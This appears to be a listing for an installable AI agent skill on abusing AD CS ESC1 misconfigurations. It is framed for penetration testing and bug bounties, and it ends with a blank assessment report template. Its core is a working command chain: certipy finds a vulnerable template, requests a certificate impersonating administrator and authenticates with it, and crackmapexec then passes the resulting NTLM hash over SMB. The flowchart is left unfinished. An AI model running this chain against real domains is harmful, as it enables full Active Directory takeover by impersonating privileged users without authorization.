Exploit Active Directory Certificate Services (AD CS) misconfigurations, specifically ESC1. By requesting a certificate based on a overly permissive template that allows the enrollee to supply a Subject Alternative Name (SAN), an attacker can impersonate highly privileged users (like Domain Admins) and seamlessly escalate privileges across the entire AD environment.
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See how to installReview the instructions the agent will receive before you install.
# Concept: ESC1 ```
```bash
# certipy find -u user@domain.local -p Password123! -dc-ip 10.10.10.10 -vulnerable
# Concept: With a vulnerable template certipy req -u user@domain.local -p Password123! -dc-ip 10.10.10.10 -ca CA-NAME -template VulnerableTemplate -upn administrator@domain.local
# Concept: certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain domain.local
# crackmapexec smb 10.10.10.10 -u administrator -H [NTLM_HASH_OBTAINED_FROM_CERTIPY]
flowchart TD
A[Find Template ] --> B{ESC1 Vulnerable ]}
B -->|Yes| C[Request ]
B -->|No| D[Check ]
C --> E[Auth ]
Ad Cs Esc1 Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
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